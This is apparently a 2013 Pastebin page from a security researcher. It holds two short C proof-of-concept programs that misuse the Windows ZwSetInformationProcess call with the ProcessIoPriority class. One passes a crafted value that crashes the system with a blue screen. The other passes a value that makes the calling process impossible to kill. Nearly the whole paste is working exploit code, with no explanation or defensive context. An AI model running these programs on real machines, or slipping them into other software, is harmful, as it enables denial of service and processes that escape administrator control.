This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

ProcessIoPriority Bug (BSOD/Non-Killable Process)

By: waliedassar on Feb 6th, 2013  |  syntax: C  |  size: 0.62 KB  |  views: 1,169  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. BSOD:
  5. #define ProcessIoPriority               0x21
  6. int main()
  7. {
  8.     unsigned long val=0xFFFFFFFF;
  9.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  10.     if(ret<0) printf("Error %x\r\n",ret);
  11.     ExitProcess(0);
  12.     return 0;
  13. }
  14.  
  15. Non-Killable Process:
  16.  
  17. #define ProcessIoPriority               0x21
  18. int main()
  19. {
  20.     unsigned long val=0x8000F129;
  21.     int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
  22.     if(ret<0) printf("Error %x\r\n",ret);
  23.     ExitProcess(0);
  24.     return 0;
  25. }
clone this paste RAW Paste Data